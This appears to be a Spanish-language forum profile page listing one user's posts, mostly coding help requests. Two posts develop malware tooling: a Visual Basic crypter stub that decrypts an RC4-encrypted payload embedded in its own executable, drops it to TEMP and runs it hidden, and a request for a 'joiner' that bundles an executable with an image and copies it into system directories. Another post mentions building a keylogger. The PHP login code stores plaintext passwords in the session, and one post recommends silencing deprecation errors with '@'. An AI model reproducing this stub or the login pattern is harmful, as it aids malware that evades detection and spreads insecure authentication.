|
Mostrar Mensajes
|
Páginas: [1] 2 3 4
|
1
|
Programación / Desarrollo Web / Re: [Ayuda] Problemas con sesiones.
|
en: 21 Marzo 2013, 03:52 am
|
Bueno por algun extraño motivo he conseguido solucionar el problema. No he tenido que mirar el php.ini ni mucho menos, simplemente parece que el "XAMPP" viene con una version 5.4 de php y me obliga a utilizar la directiva session_register(). Para solucionarlo solo hice esto: <?php $_SESSION['usuario']="Hola caracola"; ?>
Por lo que he leido en la documentación de PHP es una funcion que va a desaparecer de PHP y aun asi en ese caso, estnado en un php 5.4 no deberia de tener problemas con declarar las variables de sesion sin esta funcion. Si alguien lo utiliza porque le pase lo mismo que sepa que asi tal cual la linea de session_register('usuario') da un error de "deprecated" o en via de desaparicion. Para solucionarlo basta con poner un "@" delante, es decir, @session_register('usuario'). Muchas gracias por la ayuda.
|
|
|
3
|
Programación / Desarrollo Web / [Ayuda] Problemas con sesiones.
|
en: 20 Marzo 2013, 21:27 pm
|
MI problema es el siguiente. No he cambiado absolutamente ningun trozo de de codigo de mi web, pero sin saber porque, la sesion o mejor dicho las variables de sesion no se guardan entre paginas. Estoy desesperado la verdad. Todo empieza con el archivo de login, que comprueba con la base de datos el usuario y la contraseña y en el caso de que sea correcto entonces crea cuatro variables de sesion, con los datos de ese usuario y redirige a profesionales.php. En profesionales compruebo la existencia de la variable de sesion usuario y si existe imprimo el codigo html y sino redirijo de nuevo a login.php. Os pongo los codigos. Login.php<?php if(isset($_SESSION['user'])){ header("Location: profesionales.php"); } if($_POST){ include_once("includes/class.sql.php"); include_once("includes/config.inc.php"); include_once("includes/funciones.php"); $user=limpiar($user); $sql=new sql($ip, $usuario, $pass, $db); $respuesta=$sql->consultar("select * from usuarios where usuario='$user';"); if($user==$respuesta[0]['usuario'] && $password==$respuesta[0]['password']){ $_SESSION['id']=$respuesta[0]['id']; $_SESSION['user']=$user; $_SESSION['pass']=$password; $_SESSION['auth_level']=$respuesta[0]['lvl_auth']; // Si aqui imprimo las variables de session recien creadas se muestran correctamente. echo "<script>location.href='profesionales.php'</script>"; }else{ echo "<script>alert('El usuario introducido o la contrase\u00f1a no son correctos');</script>"; echo "<script>location.href='index.php?p=login'</script>"; } }else{ echo "<script>alert('El usuario introducido o la contrase\u00f1a no son correctos');</script>"; echo "<script>location.href='index.php?p=login'</script>"; } }else{ ?> <br /> <div id="acceso"> <form method="post" action="login.php"> Usuario<br /> <input type="text" name="user" /><br /> Password<br /> <input type="password" name="pass" /><br /><br /> <p align="center"><input type="submit" value="Entrar" class="button"></p> </form> </div> <?php } ?>
profesionales.php<?php session_start(); //En la primera linea declaro el session_start() include_once("includes/config.inc.php"); include_once("includes/class.sql.php"); include_once("includes/funciones.php"); $sql=new sql($ip, $usuario, $pass, $db); $respuesta=$sql->consultar("SELECT * FROM presupuestos_usuarios"); $sql->cerrar(); if(!isset($_SESSION['user'])){ header("Location: login.php"); //Aqui al no detectar la sesion me redirige al login de nuevo. }else{ ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es-es" lang="es-es"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="content-language" content="es_ES" /> <meta charset="utf-8" /> <!-- Tipo de Codificación --> <title>Reformas y presupuestos</title> <style type="text/css"> @import "css/profesionales.css"; </style> </head> <body> <script src="js/jquery-1.8.3.js" type="text/javascript"></script> <script src="js/jquery.validate.js" type="text/javascript"></script> <script src="js/jquery.imagecube.js" type="text/javascript"></script> <script src="js/resizeLib.js" type="text/javascript" ></script> <script src="js/ajax.js" type="text/javascript" ></script> <script src="ckeditor/ckeditor.js" type="text/javascript" ></script> <script type="text/javascript" src="tiny_mce/tiny_mce.js"></script> <script> jQuery(document).ready(function(){ $(".filtro").bind('keypress', function(e) { if(e.keyCode==13){ var n_parametros=0; var filtro=""; if($("#comunidad").val() !=""){ n_parametros++; if(n_parametros > 1){ filtro +="&"+$("#comunidad")[0].id+"="+$("#comunidad")[0].value; }else{ filtro +=$("#comunidad")[0].id+"="+$("#comunidad")[0].value; } } if($("#localidad").val() !=""){ n_parametros++; if(n_parametros > 1){ filtro +="&"+$("#localidad")[0].id+"="+$("#localidad")[0].value; }else{ filtro +=$("#localidad")[0].id+"="+$("#localidad")[0].value; } } if($("#categoria").val() !=""){ n_parametros++; if(n_parametros > 1){ filtro +="&"+$("#categoria")[0].id+"="+$("#categoria")[0].value; }else{ filtro +=$("#categoria")[0].id+"="+$("#categoria")[0].value; } } var respuesta = ajax("presupuestos_usuarios.php?"+filtro, "","GET"); $("#principal").html(respuesta); } }); var respuesta_inicial=ajax("presupuestos_usuarios.php","","GET"); $("#principal").html(respuesta_inicial); }); function ver(id_pre){ var respuesta=ajax("ver_presupuesto.php?id="+id_pre,"","GET"); $("#cuerpo").html(respuesta); } function enviar(id_pre){ var respuesta=ajax("dar_presupuesto.php?","id="+id_pre,"POST"); $("#cuerpo").html(respuesta); } </script> <div id="menu"> <div id="logo"> <a href="http://127.0.0.1/orocar/"><img src="images/logo.png" style="width: 100%; height: 100%" /></a> </div> <div id="menu-principal"> <ul> <li type="disc" id="logout"><a href="index.php?p=logout">Cerrar Sesion</a></li> <li type="disc" id="presupuestos"><a href="profesionales.php">Presupuestos de Usuarios</a></li> <li type="disc" id="perfil"><a href="index.php?p=inicio">Inicio</a></li> </ul> </div> <div class="limpiar"></div> </div> <div id="cabecera"> <div id="cabecera-content"> <h1 id="titulo_pagina">Presupuestos recibidos</h1> </div> </div> <div id="cuerpo"> <h2>Presupuestos solicitados por los usuarios</h2><br /> <div style="width: 33.3%; float: left;"> <label>Comunidad Autonoma</label><br /><br /> <input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="comunidad"> </div> <div style="width: 33.3%; float: left; "> <label>Categoria</label><br /><br /> <input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="categoria"> </div> <div style="width: 33.3%; float: left; "> <label>Localidad</label><br /><br /> <input type="text" style="width: 50%; height: 4%; font-size: 14px;" class="filtro" id="localidad"> </div> <div class="limpiar"></div> <div id="principal"> </div> </div> <div id="pie"> </div> </body> </html> <?php } ?>
|
|
|
5
|
Programación / Programación Visual Basic / Re: [Duda] Generar archivos ejecutables a partir de los bytes originales
|
en: 28 Septiembre 2011, 17:29 pm
|
Ok haciendo mi crypter al final ams que un binder, tengo un epqueño problema en el stub, me da Run-Time error 9 Subscript out of range. A continuación pongo el code de mi stub. Option Explicit Sub Main() Dim Yo As String, Datos As String, sData() As String Yo = App.Path & "\" & App.EXEName & ".exe" Open Yo For Binary As #1 Datos = Space(LOF(1)) Get #1, , Datos Close #1 sData() = Split(Datos, "%%##%%") sData(1) = RC4(sData(1), "ma5t3r") 'linea que me tira el error Open Environ("TEMP") & "\tmp.exe" For Binary As #1 Put #1, , sData(1) Close #1 Shell Environ("ComSpec") & " /c start " & Environ("TEMP") & "\tmp.exe", vbHide End Sub Private Function RC4(ByVal expresion As String, ByVal password As String) As String Dim i As Integer, j As Integer, t As Integer, tmp As Integer, s(256) As Integer, k(256) As Integer Dim key() As Byte, byteArray() As Byte Dim i2 As Long key() = StrConv(password, vbFromUnicode) For i = 0 To 255 s(i) = i k(i) = key(i Mod Len(password)) Next i For i = 0 To 255 j = (j + s(i) + k(i)) Mod 256 tmp = s(i) s(i) = s(j) s(j) = tmp Next i byteArray() = StrConv(expresion, vbFromUnicode) i = 0 j = 0 For i2 = 0 To Len(expresion) - 1 i = (i + 1) Mod 256 j = (j + s(i)) Mod 256 tmp = s(i) s(i) = s(j) s(j) = tmp t = (s(i) + s(j)) Mod 256 byteArray(i2) = byteArray(i2) Xor s(t) Next i2 RC4 = StrConv(byteArray, vbUnicode) End Function
Gracias por adelantado
|
|
|
6
|
Programación / Programación Visual Basic / [Duda] Generar archivos ejecutables a partir de los bytes originales
|
en: 27 Septiembre 2011, 07:15 am
|
Quizas en el titulo no este muy bien definidad mi duda, asi que me dispodnre a aclararla. Mi idea, es conseguir los bytes que componen dos archivos ( una imagen y un ejecutable por ejemplo). Guardar esos bytes en dos variables diferentes, convertir esos bytes en programas y despues ejecutarlos. Todo ello desde vba claro esta. ¿Como podria sacar los bytes en hexadecimal de dos programas que yo elija y que un tercero, con esos bytes, los genere en disco, los ejecute y como no los copie a diferentes directorios del sistema? Puede sonar complicado pero quiero ahcer algo parecido a esto...dejo el link del blog que por cierto seguro que alguno conoceis y sino, no tiene perdida, es la leche. http://www.flu-project.com/ocultando-un-ejecutable-creando-nuestro-%E2%80%9Cjoiner%E2%80%9D-casero.htmlDe momento he hecho un trocito de codigo sencillo, lo dejo para que veais lo que quiero hacer. Private Sub Command1_Click() With pp .DialogTitle = "Elige el primer archivo" .Filter = "Ejecutables|*.exe" .ShowOpen End With arcUno.Text = pp.FileName End Sub Private Sub Command2_Click() With pp .DialogTitle = "Elige el segundo archivo" .Filter = "Todo tipo de archivos|*" .ShowOpen End With arcDos.Text = pp.FileName End Sub Private Sub Command3_Click() Dim Data() As Byte Dim DataLon As Long Open arcUno For Binary Lock Read As 1 Open arcDos For Binary Lock Read As 2 Open byteRes For Binary Access Write As 3 DataLon = FileLen(arcUno) + Len(arcDos) ReDim Data(DataLon) As Byte Get #1, , Data Get #2, , Data Put #3, , Hex(Data(DataLon)) Close End Sub
|
|
|
7
|
Programación / Desarrollo Web / Re: Mi webserver no es accesible a Internet
|
en: 1 Julio 2011, 16:52 pm
|
Bueno lo he hehco tantas veces que ha perdido su sentido y espero poder ayudarte en eso.
El servidor de apache funciona por defecto en el puerto 80, es decir recibe las conexiones por este puerto y atiende a los clientes. Tu problema segun dices es tu ISP, pero como bien indicaste cambiaste al puerto 8080 y no hubo problema.
Tienes que ir al archivo de configuración de apache y modificar el puerto por defecto. Este archivo es el apache2.conf (en linux esta en /etc/apache2) en el caso de windows supongo que cambia. Solo tienes que abrir este archivo e ir a la directiva "Listen 80", cambias 80 por el puerto por el que quieras tener tu servidor web y listo. (Recuerda que los primeros 1024 puertos son reservados)
Aunque tambien veo que tienes un problema, probablemente tengas router, es decir tendras una ip dinamica que cambia cada cierto tiempo. Si quisieras que la ip de router fuera fija tendrias que pagar a tu ISP(telefonica).
Para evitar tener que pagar a tu compañia puedes utilizar un servicio llamado no-ip. Este servicio hace que tu ip en internet se asocie a un nombre. Te descargas un programa entras con tu cuenta de la pagina web y listo, solo dales el nombre a tus amigos y mientras tu ordenador este encendido podran ver tu pagina web.
Espero haberte ayudado, me podria haber explicado mejor pero me podria extender muhco con la teoria de apache xD
|
|
|
8
|
Programación / Desarrollo Web / Ayuda con GreaseMonkey
|
en: 1 Julio 2011, 16:33 pm
|
Supongo que todos conoceis este complemento para firefox que permite cargar un script sobre una pagina web ya creada.
Bien mi problema es que cuando un script falla, soy incapaz de saber donde ha falaldo y porque asi que me veo recorriendo el codigo y perdiendo un mnton de tiempo en ello.
Mi pregunta es saber si alguien conoce algun programa que muestre a poder ser el error en el script y la linea del error me facilitaria el trabajo enormemente.
Saludos
|
|
|
9
|
Programación / Programación Visual Basic / Re: Ayuda con mi Keylogger
|
en: 23 Febrero 2011, 20:48 pm
|
Bueno despues de leer un poco, definitivamente los hooks me quedan bastante grandes xDDDDDDD.
Es decir, el manual esta muy bien pero hay muchas clases y constantes de la api SetWindowsHookEx y SetWindowsHook que no hay explicadas. Me veo incapaz de entender el codigo asi que lo siguire intentando.
Salu2
|
|
|
|
|
|
|